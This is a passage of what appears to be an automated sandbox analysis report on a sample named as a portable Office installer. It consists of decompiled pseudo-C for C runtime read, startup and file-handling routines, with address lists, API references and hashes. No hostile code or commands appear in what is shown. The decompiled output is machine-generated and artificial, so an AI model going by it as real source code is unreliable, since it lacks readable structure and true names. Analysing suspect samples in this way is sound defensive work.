													_t435 = _t450 - _t288 & 0xfffffffe;
													goto L107;
												}
												_a12 = 0x1a;
												_t441 = 0xd;
												while(1) {
													_t320 =  *_t409 & 0x0000ffff;
													__eflags = _t320 - _a12;
													if(_t320 == _a12) {
														break;
													}
													__eflags = _t320 - _t441;
													if(_t320 == _t441) {
														__eflags = _t409 - _t427 - 2;
														if(_t409 < _t427 - 2) {
															_t409 = _t409 + 2;
															_t324 = 0xa;
															__eflags =  *_t409 - _t324;
															if( *_t409 != _t324) {
																_t324 = 0xd;
																_t441 = _t324;
															}
															 *_t450 = _t324;
															_t450 = _t450 + 2;
															__eflags = _t450;
														}
													} else {
														 *_t450 = _t320;
														_t450 = _t450 + 2;
														_t409 = _t409 + 2;
													}
													__eflags = _t409 - _t427;
													if(_t409 < _t427) {
														continue;
													} else {
														goto L126;
													}
												}
												_t322 =  *((intOrPtr*)(0xf1760 + _v16 * 4));
												_t201 = _t322 + _t387 + 4;
												 *_t201 =  *(_t322 + _t387 + 4) | 0x00000002;
												__eflags =  *_t201;
												goto L126;
											}
											__eflags = _t401;
											if(_t401 == 0) {
												L52:
												_t325 = _t293 & 0x000000fb;
												__eflags = _t325;
												L53:
												 *(_t448 + _t387 + 4) = _t325;
												_t326 = _v20;
												_t451 = _t326;
												_t410 = _t326 + _t435;
												_v36 = _t326;
												_v32 = _t410;
												__eflags = _t326 - _t410;
												if(_t326 >= _t410) {
													L83:
													_t288 = _v20;
													_t435 = _t451 - _t288;
													__eflags = _a15 - 1;
													if(_a15 != 1) {
														goto L107;
													}
													__eflags = _t435;
													if(_t435 == 0) {
														goto L107;
													}
													_t452 = _t451 - 1;
													_t327 =  *_t452;
													__eflags = _t327;
													if(_t327 < 0) {
														_t328 = _t327 & 0x000000ff;
														_t429 = 1;
														__eflags =  *((char*)(_t328 + 0xf0200));
														if( *((char*)(_t328 + 0xf0200)) != 0) {
															L93:
															_t330 =  *((char*)(( *_t452 & 0x000000ff) + 0xf0200));
															__eflags = _t330;
															if(__eflags != 0) {
																__eflags = _t330 + 1 - _t429;
																if(_t330 + 1 != _t429) {
																	_t411 =  *((intOrPtr*)(0xf1760 + _v16 * 4));
																	__eflags =  *(_t411 + _t387 + 4) & 0x00000048;
																	if(__eflags == 0) {
																		asm("cdq");
																		E000D643C(_t411, __eflags, _a4,  ~_t429,  ~_t429, 1);
																	} else {
																		_t454 =  &(_t452[1]);
																		 *((char*)(_t411 + _t387 + 5)) =  *_t452;
																		_t341 = _v16;
																		__eflags = _t429 - 2;
																		if(_t429 >= 2) {
																			 *((char*)( *((intOrPtr*)(0xf1760 + _t341 * 4)) + _t387 + 0x25)) =  *_t454;
																			_t341 = _v16;
																			_t454 = _t454 + 1;
																			__eflags = _t454;
																		}
																		__eflags = _t429 - 3;
																		if(_t429 == 3) {
																			 *((char*)( *((intOrPtr*)(0xf1760 + _t341 * 4)) + _t387 + 0x26)) =  *_t454;
																			_t454 = _t454 + 1;
																			__eflags = _t454;
																		}
																		_t452 = _t454 - _t429;
																	}
																} else {
																	_t452 =  &(_t452[_t429]);
																}
																L104:
																_t443 = _v20;
																_t453 = _t452 - _t443;
																_t435 = MultiByteToWideChar(0xfde9, 0, _t443, _t453, _a8, _v44 >> 1);
																__eflags = _t435;
																if(_t435 == 0) {
																	L38:
																	_t286 = GetLastError();
																	goto L39;
																}
																__eflags = _t435 - _t453;
																_t413 = 0 | _t435 != _t453;
																_t435 = _t435 + _t435;
																__eflags = _t435;
																 *( *((intOrPtr*)(0xf1760 + _v16 * 4)) + _t387 + 0x30) = _t413;
																goto L106;
															}
															 *((intOrPtr*)(E000D1261(__eflags))) = 0x2a;
															goto L40;
														}
														_t389 = _v20;
														while(1) {
															__eflags = _t429 - 4;
															if(_t429 > 4) {
																break;
															}
															__eflags = _t452 - _t389;
															if(_t452 < _t389) {
																break;
															}
															_t452 = _t452 - 1;
															_t429 = _t429 + 1;
															_t345 =  *_t452 & 0x000000ff;
															__eflags =  *((char*)(_t345 + 0xf0200));
															if( *((char*)(_t345 + 0xf0200)) == 0) {
																continue;
															}
															break;
														}
														_t387 = _v40;
														goto L93;
													}
													_t452 =  &(_t452[1]);
													goto L104;
												}
												_t416 = 0xd;
												_t444 = _t326;
												while(1) {
													_t346 =  *_t444;
													__eflags = _t346 - 0x1a;
													if(_t346 == 0x1a) {
														break;
													}
													__eflags = _t346 - _t416;
													if(_t346 == _t416) {
														__eflags = _t444 - _v32 - 1;
														if(_t444 >= _v32 - 1) {
															_t444 = _t444 + 1;
															_t355 = ReadFile( *( *((intOrPtr*)(0xf1760 + _t424 * 4)) + _t387),  &_v5, 1,  &_v24, 0);
															__eflags = _t355;
															if(_t355 != 0) {
																L64:
																__eflags = _v24;
																if(_v24 == 0) {
																	L79:
																	_t424 = _v16;
																	_t416 = 0xd;
																	 *_t451 = _t416;
																	_t451 = _t451 + 1;
																	L74:
																	__eflags = _t444 - _v32;
																	if(_t444 < _v32) {
																		continue;
																	}
																	goto L83;
																}
																_t424 = _v16;
																_t356 =  *((intOrPtr*)(0xf1760 + _t424 * 4));
																__eflags =  *(_t356 + _t387 + 4) & 0x00000048;
																if(( *(_t356 + _t387 + 4) & 0x00000048) == 0) {
																	__eflags = _t451 - _v20;
																	if(__eflags != 0) {
																		L76:
																		E000D643C(_t416, __eflags, _a4, 0xffffffff, 0xffffffff, 1);
																		_t424 = _v16;
																		_t456 = _t456 + 0x10;
																		_t358 = 0xa;
																		__eflags = _v5 - _t358;
																		if(_v5 == _t358) {
																			L72:
																			_push(0xd);
																			L73:
																			_pop(_t416);
																			goto L74;
																		}
																		_t416 = 0xd;
																		 *_t451 = _t416;
																		L78:
																		_t451 = _t451 + 1;
																		goto L74;
																	}
																	_t359 = 0xa;
																	__eflags = _v5 - _t359;
																	if(__eflags != 0) {
																		goto L76;
																	}
																	 *_t451 = _t359;
																	_t451 = _t451 + 1;
																	__eflags = _t451;
																	goto L72;
																}
																_t360 = 0xa;
																_push(0xd);
																__eflags = _v5 - _t360;
																if(_v5 != _t360) {
																	 *_t451 = 0xd;
																	_t451 = _t451 + 1;
																	 *((char*)( *((intOrPtr*)(0xf1760 + _t424 * 4)) + _t387 + 5)) = _v5;
																} else {
																	 *_t451 = _t360;
																	_t451 = _t451 + 1;
																}
																goto L73;
															}
															_t362 = GetLastError();
															__eflags = _t362;
															if(_t362 != 0) {
																goto L79;
															}
															goto L64;
														}
														_t116 = _t444 + 1; // 0xdfcae
														_t363 = _t116;
														__eflags =  *_t363 - 0xa;
														if( *_t363 != 0xa) {
															 *_t451 = _t416;
															_t451 = _t451 + 1;
															_t444 = _t363;
															goto L74;
														}
														_t364 = 0xa;
														_t444 = _t444 + 2;
														 *_t451 = _t364;
														goto L78;
													}
													 *_t451 = _t346;
													_t451 = _t451 + 1;
													_t444 = _t444 + 1;
													goto L74;
												}
												_t417 =  *((intOrPtr*)(0xf1760 + _t424 * 4));
												_t347 =  *(_t417 + _t387 + 4);
												__eflags = _t347 & 0x00000040;
												if((_t347 & 0x00000040) != 0) {
													 *_t451 =  *_t444;
													_t451 = _t451 + 1;
													__eflags = _t451;
												} else {
													 *(_t417 + _t387 + 4) = _t347 | 0x00000002;
												}
												goto L83;
											}
											__eflags =  *_v20 - 0xa;
											if( *_v20 != 0xa) {
												goto L52;
											}
											_t325 = _t293 | 0x00000004;
											goto L53;
										}
										_t420 =  *((intOrPtr*)(0xf1760 + _t283 * 4));
										__eflags =  *(_t420 + _t387 + 4) & 0x00000080;
										if(( *(_t420 + _t387 + 4) & 0x00000080) == 0) {
											goto L44;
										}
										_t366 = GetConsoleMode( *(_t420 + _t387),  &_v36);
										_v36 = _t366;
										__eflags = _t366;
										if(_t366 == 0) {
											L43:
											_t283 = _v16;
											goto L44;
										}
										__eflags = _a15 - 2;
										if(_a15 != 2) {
											goto L43;
										}
										_t370 = ReadConsoleW( *( *((intOrPtr*)(0xf1760 + _v16 * 4)) + _t387), _v32, _t446 >> 1,  &_v24, 0);
										__eflags = _t370;
										if(_t370 != 0) {
											_t401 = _v24 + _v24;
											_v24 = _t401;
											goto L47;
										}
										goto L38;
									} else {
										 *((intOrPtr*)(E000D1261(__eflags))) = 0xc;
										_t266 = E000D122D(__eflags);
										 *_t266 = 8;
										goto L170;
									}
								}
							}
							__eflags = _t274 != 1;
							if(_t274 != 1) {
								L16:
								_t281 = _a8;
								_v20 = _t281;
								goto L23;
							}
							__eflags =  !_t446 & 0x00000001;
							if(__eflags == 0) {
								goto L11;
							} else {
								_t446 = _t446 & 0xfffffffe;
								__eflags = _t446;
								goto L16;
							}
						}
						L11:
						 *(E000D122D(__eflags)) =  *_t277 & _t435;
						goto L7;
					} else {
						 *(E000D122D(__eflags)) = 0;
						L7:
						 *((intOrPtr*)(E000D1261(__eflags))) = 0x16;
						goto L169;
					}
				} else {
					 *((intOrPtr*)(E000D122D(_t458))) = 0;
					_t266 = E000D1261(_t458);
					 *_t266 = 9;
					L170:
					return _t266 | 0xffffffff;
				}
			}

0x000dd429
0x000dd42e
0x000dd434
0x000dd435
0x000dd437
0x000dd43a
0x000dd43d
0x000dd440
0x000dd442
0x000dd45b
0x000dd45d
0x000ddb93
0x000ddb98
0x000ddb9f
0x000ddba5
0x000ddba5
0x00000000
0x000ddba5
0x000dd463
0x000dd469
0x00000000
0x00000000
0x000dd471
0x000dd476
0x000dd480
0x000dd483
0x000dd486
0x000dd48a
0x000dd48d
0x000dd48f
0x00000000
0x00000000
0x000dd495
0x000dd49b
0x000dd4b4
0x000dd4b6
0x000ddb8f
0x00000000
0x000ddb8f
0x000dd4bc
0x000dd4be
0x00000000
0x00000000
0x000dd4c4
0x000dd4c7
0x000dd4d8
0x000dd4da
0x000dd4e0
0x000dd4e0
0x000dd4e1
0x000dd4fd
0x000dd4ff
0x00000000
0x000dd501
0x000dd501
0x000dd503
0x000dd506
0x000dd50a
0x000dd50a
0x000dd50c
0x000dd511
0x000dd512
0x000dd515
0x000dd517
0x000dd53d
0x000dd545
0x000dd548
0x000dd54f
0x000dd553
0x000dd556
0x000dd55a
0x000dd55d
0x000dd55d
0x000dd564
0x000dd567
0x000dd56c
0x000dd56f
0x000dd575
0x000dd579
0x000dd57c
0x000dd57e
0x000dd580
0x000dd582
0x000dd586
0x000dd586
0x000dd590
0x000dd591
0x000dd592
0x000dd596
0x000dd599
0x000dd59e
0x000dd5a7
0x000dd5a7
0x000dd5ab
0x000dd5ad
0x000dd5af
0x000dd5b1
0x000dd5b3
0x000dd5bc
0x000dd5bf
0x000dd5c0
0x000dd5c4
0x000dd5c7
0x000dd5c8
0x000dd5cd
0x000dd5d6
0x000dd5da
0x000dd5dc
0x000dd5de
0x000dd5e0
0x000dd5e4
0x000dd5e5
0x000dd5f1
0x000dd5f2
0x000dd5f5
0x000dd5f5
0x000dd5f6
0x000dd5f6
0x000dd5e0
0x000dd5dc
0x000dd5cd
0x000dd5b1
0x000dd5ad
0x000dd59e
0x000dd580
0x000dd57c
0x000dd5fd
0x000dd602
0x000dd604
0x000dd608
0x000dd67b
0x000dd68f
0x000dd695
0x000dd697
0x000ddb5b
0x000ddb5b
0x000ddb63
0x000ddb64
0x000ddb66
0x000ddb7f
0x000ddb82
0x000dd65b
0x000dd65c
0x000dd662
0x000dd662
0x000dd662
0x000dd665
0x000dd665
0x000dd925
0x000dd925
0x000dd928
0x000dd92b
0x000dd930
0x000dd931
0x000dd934
0x000dd936
0x000dd936
0x00000000
0x000dd938
0x000ddb88
0x00000000
0x000ddb88
0x000ddb6d
0x000ddb78
0x00000000
0x000ddb78
0x000dd69d
0x000dd6a0
0x000dd6a2
0x00000000
0x00000000
0x000dd6a8
0x000dd6aa
0x00000000
0x00000000
0x000dd6b0
0x000dd6b0
0x000dd6b3
0x000dd6b5
0x000dd6bc
0x000dd6bc
0x000dd6c0
0x000dd6c2
0x000dd91f
0x000dd91f
0x000dd922
0x000dd922
0x00000000
0x000dd922
0x000dd6c8
0x000dd6cc
0x000dd93f
0x000dd943
0x000dd9be
0x000dd9c0
0x000dd9d4
0x000dd9d4
0x000dd9d4
0x000dd9d6
0x000dd9d6
0x000dd9da
0x000dd9dd
0x000dd9df
0x000dd9e2
0x000dd9e5
0x000dd9e8
0x000dd9ea
0x000ddb4f
0x000ddb4f
0x000ddb54
0x00000000
0x000ddb54
0x000dd9f2
0x000dd9f3
0x000dd9fa
0x000dd9fc
0x000dd9fc
0x000dd9ff
0x000dda03
0x00000000
0x00000000
0x000dda09
0x000dda0c
0x000dda19
0x000dda1b
0x000dda58
0x000dda5e
0x000dda64
0x000dda66
0x000dda76
0x000dda76
0x000dda7a
0x000ddb21
0x000ddb21
0x000ddb26
0x000ddb27
0x000ddb2a
0x000ddad8
0x000ddad8
0x000ddadb
0x00000000
0x00000000
0x00000000
0x000ddae1
0x000dda80
0x000dda83
0x000dda8a
0x000dda8f
0x000ddae3
0x000ddae6
0x000ddaf9
0x000ddb02
0x000ddb07
0x000ddb0a
0x000ddb0f
0x000ddb10
0x000ddb14
0x000ddad5
0x000ddad5
0x000ddad7
0x000ddad7
0x00000000
0x000ddad7
0x000ddb18
0x000ddb19
0x000ddb1c
0x000ddb1c
0x00000000
0x000ddb1c
0x000ddaea
0x000ddaeb
0x000ddaef
0x00000000
0x00000000
0x000ddaf1
0x000ddaf4
0x00000000
0x000ddaf4
0x000dda93
0x000dda94
0x000dda96
0x000dda9a
0x000ddaa4
0x000ddaa5
0x000ddab2
0x000ddac0
0x000ddacd
0x000ddace
0x000ddace
0x000ddad1
0x00000000
0x000ddad1
0x000dda9c
0x000dda9f
0x00000000
0x000dda9f
0x000dda68
0x000dda6e
0x000dda70
0x00000000
0x00000000
0x00000000
0x000dda70
0x000dda1f
0x000dda20
0x000dda24
0x000dda27
0x000dda37
0x000dda3a
0x000dda3a
0x000dda3d
0x00000000
0x000dda3d
0x000dda2b
0x000dda2c
0x000dda2f
0x00000000
0x000dda2f
0x000dda0e
0x00000000
0x000dda0e
0x000ddb2f
0x000ddb36
0x000ddb3a
0x000ddb3c
0x000ddb49
0x000ddb4c
0x000ddb4c
0x000ddb3e
0x000ddb40
0x000ddb40
0x00000000
0x000ddb3c
0x000dd9c7
0x000dd9c8
0x000dd9cb
0x000dd9ce
0x00000000
0x00000000
0x000dd9d0
0x00000000
0x000dd9d0
0x000dd945
0x000dd94a
0x000dd94f
0x000dd951
0x000dd953
0x000dd956
0x000dd958
0x000dd9af
0x000dd9af
0x000dd9b6
0x00000000
0x000dd9b6
0x000dd95c
0x000dd963
0x000dd964
0x000dd964
0x000dd967
0x000dd96b
0x00000000
0x00000000
0x000dd96d
0x000dd970
0x000dd980
0x000dd982
0x000dd986
0x000dd989
0x000dd98a
0x000dd98d
0x000dd991
0x000dd993
0x000dd993
0x000dd994
0x000dd997
0x000dd997
0x000dd997
0x000dd972
0x000dd972
0x000dd975
0x000dd978
0x000dd978
0x000dd99a
0x000dd99c
0x00000000
0x000dd99e
0x00000000
0x000dd99e
0x000dd99c
0x000dd9a3
0x000dd9aa
0x000dd9aa
0x000dd9aa
0x00000000
0x000dd9aa
0x000dd6d2
0x000dd6d4
0x000dd6e2
0x000dd6e2
0x000dd6e2
0x000dd6e4
0x000dd6e4
0x000dd6e8
0x000dd6eb
0x000dd6ed
0x000dd6f0
0x000dd6f3
0x000dd6f6
0x000dd6f8
0x000dd80c
0x000dd80c
0x000dd811
0x000dd813
0x000dd817
0x00000000
0x00000000
0x000dd81d
0x000dd81f
0x00000000
0x00000000
0x000dd825
0x000dd826
0x000dd828
0x000dd82a
0x000dd832
0x000dd837
0x000dd838
0x000dd83f
0x000dd85e
0x000dd861
0x000dd868
0x000dd86a
0x000dd87d
0x000dd87f
0x000dd888
0x000dd88f
0x000dd894
0x000dd8d1
0x000dd8d9
0x000dd896
0x000dd898
0x000dd899
0x000dd89d
0x000dd8a0
0x000dd8a3
0x000dd8ae
0x000dd8b2
0x000dd8b5
0x000dd8b5
0x000dd8b5
0x000dd8b6
0x000dd8b9
0x000dd8c4
0x000dd8c8
0x000dd8c8
0x000dd8c8
0x000dd8c9
0x000dd8c9
0x000dd881
0x000dd881
0x000dd881
0x000dd8e1
0x000dd8e4
0x000dd8ed
0x000dd8fe
0x000dd900
0x000dd902
0x000dd655
0x000dd655
0x00000000
0x000dd655
0x000dd914
0x000dd916
0x000dd919
0x000dd919
0x000dd91b
0x00000000
0x000dd91b
0x000dd871
0x00000000
0x000dd871
0x000dd841
0x000dd844
0x000dd844
0x000dd847
0x00000000
0x00000000
0x000dd849
0x000dd84b
0x00000000
0x00000000
0x000dd84d
0x000dd84e
0x000dd84f
0x000dd852
0x000dd859
0x00000000
0x00000000
0x00000000
0x000dd859
0x000dd85b
0x00000000
0x000dd85b
0x000dd82c
0x00000000
0x000dd82c
0x000dd700
0x000dd701
0x000dd703
0x000dd703
0x000dd705
0x000dd707
0x00000000
0x00000000
0x000dd70d
0x000dd70f
0x000dd71e
0x000dd720
0x000dd751
0x000dd755
0x000dd75b
0x000dd75d
0x000dd769
0x000dd769
0x000dd76d
0x000dd7e5
0x000dd7e5
0x000dd7ea
0x000dd7eb
0x000dd7ed
0x000dd7b6
0x000dd7b6
0x000dd7b9
0x00000000
0x00000000
0x00000000
0x000dd7bf
0x000dd76f
0x000dd772
0x000dd779
0x000dd77e
0x000dd7a3
0x000dd7a6
0x000dd7c1
0x000dd7ca
0x000dd7cf
0x000dd7d2
0x000dd7d7
0x000dd7d8
0x000dd7db
0x000dd7b3
0x000dd7b3
0x000dd7b5
0x000dd7b5
0x00000000
0x000dd7b5
0x000dd7df
0x000dd7e0
0x000dd7e2
0x000dd7e2
0x00000000
0x000dd7e2
0x000dd7aa
0x000dd7ab
0x000dd7ae
0x00000000
0x00000000
0x000dd7b0
0x000dd7b2
0x000dd7b2
0x00000000
0x000dd7b2
0x000dd782
0x000dd783
0x000dd785
0x000dd788
0x000dd78f
0x000dd79c
0x000dd79d
0x000dd78a
0x000dd78a
0x000dd78c
0x000dd78c
0x00000000
0x000dd788
0x000dd75f
0x000dd765
0x000dd767
0x00000000
0x00000000
0x00000000
0x000dd767
0x000dd722
0x000dd722
0x000dd725
0x000dd728
0x000dd737
0x000dd739
0x000dd73a
0x00000000
0x000dd73a
0x000dd72c
0x000dd72d
0x000dd730
0x00000000
0x000dd730
0x000dd711
0x000dd713
0x000dd714
0x00000000
0x000dd714
0x000dd7f0
0x000dd7f7
0x000dd7fb
0x000dd7fd
0x000dd809
0x000dd80b
0x000dd80b
0x000dd7ff
0x000dd801
0x000dd801
0x00000000
0x000dd7fd
0x000dd6d9
0x000dd6dc
0x00000000
0x00000000
0x000dd6de
0x00000000
0x000dd6de
0x000dd60a
0x000dd611
0x000dd616
0x00000000
0x00000000
0x000dd61f
0x000dd625
0x000dd628
0x000dd62a
0x000dd678
0x000dd678
0x00000000
0x000dd678
0x000dd62c
0x000dd630
0x00000000
0x00000000
0x000dd64b
0x000dd651
0x000dd653
0x000dd670
0x000dd673
0x00000000
0x000dd673
0x00000000
0x000dd519
0x000dd51e
0x000dd524
0x000dd529
0x00000000
0x000dd529
0x000dd517
0x000dd4ff
0x000dd4e3
0x000dd4e4
0x000dd4f1
0x000dd4f1
0x000dd4f4
0x00000000
0x000dd4f4
0x000dd4ea
0x000dd4ec
0x00000000
0x000dd4ee
0x000dd4ee
0x000dd4ee
0x00000000
0x000dd4ee
0x000dd4ec
0x000dd4c9
0x000dd4ce
0x00000000
0x000dd49d
0x000dd4a2
0x000dd4a4
0x000dd4a9
0x00000000
0x000dd4a9
0x000dd444
0x000dd449
0x000dd44b
0x000dd450
0x000ddbaa
0x00000000
0x000ddbaa

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: __getptd_noexit
String ID:
API String ID: 3074181302-0
Opcode ID: 3a4f2f075d24a9d2870dc081998d70976b4fdc32435306caf8e14e0ecc4a6719
Instruction ID: 1e0fbb7a9103e88290586cb30417388144036cc5c4db6d061d9d68f159794010
Opcode Fuzzy Hash: 3a4f2f075d24a9d2870dc081998d70976b4fdc32435306caf8e14e0ecc4a6719
Instruction Fuzzy Hash: E1322331A08345DFDB219F68D880BBDBBF1AF55314F29409BE8999B392D7319842CB71

Uniqueness

Uniqueness Score: -1.00%

Function 000CE39A, Relevance: 16.6, APIs: 11, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			_entry_(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t17;
				void* _t18;
				void* _t19;
				intOrPtr _t23;
				void* _t24;
				void* _t25;
				void* _t26;
				intOrPtr _t28;
				signed int _t39;
				void* _t49;
				signed int _t52;
				void* _t54;
				void* _t56;

				_t50 = __edi;
				_t49 = __edx;
				E000D6C2C();
				_push(0x14);
				_push(0xed1b8);
				E000D3B00(__ebx, __edi, __esi);
				_t52 = E000D0CE7() & 0x0000ffff;
				E000D6BDF(2);
				_t56 =  *0xc0000 - 0x5a4d; // 0x5a4d
				if(_t56 == 0) {
					_t17 =  *0xc003c; // 0xe8
					__eflags =  *((intOrPtr*)(_t17 + 0xc0000)) - 0x4550;
					if( *((intOrPtr*)(_t17 + 0xc0000)) != 0x4550) {
						goto L2;
					} else {
						__eflags =  *((intOrPtr*)(_t17 + 0xc0018)) - 0x10b;
						if( *((intOrPtr*)(_t17 + 0xc0018)) != 0x10b) {
							goto L2;
						} else {
							_t39 = 0;
							__eflags =  *((intOrPtr*)(_t17 + 0xc0074)) - 0xe;
							if( *((intOrPtr*)(_t17 + 0xc0074)) > 0xe) {
								__eflags =  *(_t17 + 0xc00e8);
								_t6 =  *(_t17 + 0xc00e8) != 0;
								__eflags = _t6;
								_t39 = 0 | _t6;
							}
						}
					}
				} else {
					L2:
					_t39 = 0;
				}
				 *(_t54 - 0x1c) = _t39;
				_t18 = E000D416B();
				_t57 = _t18;
				if(_t18 == 0) {
					E000CE4F4(0x1c);
				}
				_t19 = E000D50A4(_t39, _t49, _t50, _t57);
				_t58 = _t19;
				if(_t19 == 0) {
					_t19 = E000CE4F4(0x10);
				}
				E000D6CC6(_t19);
				 *(_t54 - 4) =  *(_t54 - 4) & 0x00000000;
				if(E000D5284(_t39, _t49, _t50, _t52, _t58) < 0) {
					E000CE4F4(0x1b);
				}
				 *0xf1c94 = GetCommandLineA(); // executed
				_t23 = E000D6D06(); // executed
				 *0xf0f4c = _t23;
				_t24 = E000D68D1();
				_t60 = _t24;
				if(_t24 < 0) {
					E000D381F(_t39, _t49, _t50, _t52, _t60, 8);
				}
				_t25 = E000D6AFE(_t39, _t49, _t50, _t52);
				_t61 = _t25;
				if(_t25 < 0) {
					E000D381F(_t39, _t49, _t50, _t52, _t61, 9);
				}
				_t26 = E000D3859(_t50, _t52, 1);
				_t62 = _t26;
				if(_t26 != 0) {
					E000D381F(_t39, _t49, _t50, _t52, _t62, _t26);
				}
				_t28 = E000C12B0(_t39, _t49, _t50, 0xc0000, 0, E000D6D91(), _t52); // executed
				_t53 = _t28;
				 *((intOrPtr*)(_t54 - 0x24)) = _t28;
				if(_t39 == 0) {
					E000D3AB5(_t53);
				}
				E000D384A();
				 *(_t54 - 4) = 0xfffffffe;
				return E000D3B45(_t53);
			}

0x000ce39a
0x000ce39a
0x000ce39a
0x000ce3a4
0x000ce3a6
0x000ce3ab
0x000ce3b5
0x000ce3ba
0x000ce3c5
0x000ce3cc
0x000ce3d2
0x000ce3d7
0x000ce3e1
0x00000000
0x000ce3e3
0x000ce3e8
0x000ce3ef
0x00000000
0x000ce3f1
0x000ce3f1
0x000ce3f3
0x000ce3fa
0x000ce3fc
0x000ce402
0x000ce402
0x000ce402
0x000ce402
0x000ce3fa
0x000ce3ef
0x000ce3ce
0x000ce3ce
0x000ce3ce
0x000ce3ce
0x000ce405
0x000ce408
0x000ce40d
0x000ce40f
0x000ce413
0x000ce418
0x000ce419
0x000ce41e
0x000ce420
0x000ce424
0x000ce429
0x000ce42a
0x000ce42f
0x000ce43a
0x000ce43e
0x000ce443
0x000ce44a
0x000ce44f
0x000ce454
0x000ce459
0x000ce45e
0x000ce460
0x000ce464
0x000ce469
0x000ce46a
0x000ce46f
0x000ce471
0x000ce475
0x000ce47a
0x000ce47d
0x000ce483
0x000ce485
0x000ce488
0x000ce48d
0x000ce49c
0x000ce4a1
0x000ce4a3
0x000ce4a8
0x000ce4ab
0x000ce4ab
0x000ce4b0
0x000ce4e5
0x000ce4f3

APIs

___security_init_cookie.LIBCMT ref: 000CE39A

Part of subcall function 000D0CE7: GetStartupInfoW.KERNEL32(?), ref: 000D0CF1

_fast_error_exit.LIBCMT ref: 000CE413
_fast_error_exit.LIBCMT ref: 000CE424
__RTC_Initialize.LIBCMT ref: 000CE42A
_fast_error_exit.LIBCMT ref: 000CE43E
GetCommandLineA.KERNEL32(000ED1B8,00000014), ref: 000CE444
___crtGetEnvironmentStringsA.LIBCMT ref: 000CE44F
__setargv.LIBCMT ref: 000CE459
__setenvp.LIBCMT ref: 000CE46A
__cinit.LIBCMT ref: 000CE47D
__wincmdln.LIBCMT ref: 000CE48E

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: _fast_error_exit$CommandEnvironmentInfoInitializeLineStartupStrings___crt___security_init_cookie__cinit__setargv__setenvp__wincmdln
String ID:
API String ID: 2757020214-0
Opcode ID: 50e830742824ff2e91b34b519a4d4874a8d619a5c9a49b86ca281234f9ffb9aa
Instruction ID: 92c6a5ed97782e3a66160332a2b2aa7a3321723f3ea41df09a2f09b8d7feddc0
Opcode Fuzzy Hash: 50e830742824ff2e91b34b519a4d4874a8d619a5c9a49b86ca281234f9ffb9aa
Instruction Fuzzy Hash: 5D21A3306403909AEB647BB4D946FED21949F00B15F25853FFA059A2C3DFB98A80D677

Uniqueness

Uniqueness Score: -1.00%

Function 000C7A80, Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 266
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E000C7A80(void* __ebx, signed int* __ecx, intOrPtr __edx, intOrPtr _a4, struct _OVERLAPPED* _a8) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v20;
				char _v275;
				char _v276;
				char _v540;
				long _v544;
				struct _FILETIME _v568;
				struct _FILETIME _v576;
				struct _FILETIME _v584;
				long _v588;
				char _v852;
				struct _OVERLAPPED* _v856;
				char _v857;
				char _v892;
				void* __edi;
				void* __esi;
				signed int _t79;
				signed int _t81;
				signed int _t82;
				signed int _t85;
				void* _t89;
				signed int _t92;
				signed int _t96;
				intOrPtr* _t97;
				signed int _t100;
				void* _t106;
				long _t109;
				signed int _t119;
				void* _t120;
				signed int _t132;
				signed int _t137;
				signed int _t139;
				struct _OVERLAPPED* _t145;
				void* _t146;
				void* _t147;
				void* _t148;
				void* _t149;
				void* _t150;
				void* _t151;
				intOrPtr _t153;
				struct _OVERLAPPED* _t155;
				signed int* _t162;
				signed int* _t191;
				void* _t195;
				void* _t196;
				void* _t197;
				void* _t198;
				void* _t199;
				struct _OVERLAPPED* _t201;
				signed int _t202;
				long _t205;
				void* _t206;
				void* _t207;
				signed int* _t208;
				void* _t209;
				void* _t210;
				signed int _t211;
				void* _t212;
				signed int _t213;
				void* _t215;
				signed int _t216;
				void* _t221;

				_t183 = __edx;
				_t79 =  *0xef6ac; // 0xcff43140
				_v8 = _t79 ^ _t213;
				_push(__ebx);
				_t145 = _a8;
				_t191 = __ecx;
				if( *((intOrPtr*)(__ecx + 4)) != 0xffffffff) {
					E000C7140( *((intOrPtr*)(__ecx)), __edx);
				}
				_t81 =  *_t191;
				_t153 = _a4;
				_t191[1] = 0xffffffff;
				if(_t153 <  *((intOrPtr*)(_t81 + 4))) {
					__eflags = _t153 -  *((intOrPtr*)(_t81 + 0x10));
					if(_t153 <  *((intOrPtr*)(_t81 + 0x10))) {
						E000C6A90(_t81);
						_t153 = _a4;
					}
					_t82 =  *_t191;
					__eflags =  *((intOrPtr*)(_t82 + 0x10)) - _t153;
					if( *((intOrPtr*)(_t82 + 0x10)) < _t153) {
						do {
							_t211 =  *_t191;
							__eflags = _t211;
							if(_t211 != 0) {
								__eflags =  *(_t211 + 0x18);
								if( *(_t211 + 0x18) != 0) {
									_t183 =  *((intOrPtr*)(_t211 + 0x10)) + 1;
									__eflags = _t183 -  *((intOrPtr*)(_t211 + 4));
									if(_t183 !=  *((intOrPtr*)(_t211 + 4))) {
										 *((intOrPtr*)(_t211 + 0x14)) =  *((intOrPtr*)(_t211 + 0x14)) +  *((intOrPtr*)(_t211 + 0x48)) + 0x2e +  *((intOrPtr*)(_t211 + 0x50)) +  *((intOrPtr*)(_t211 + 0x4c));
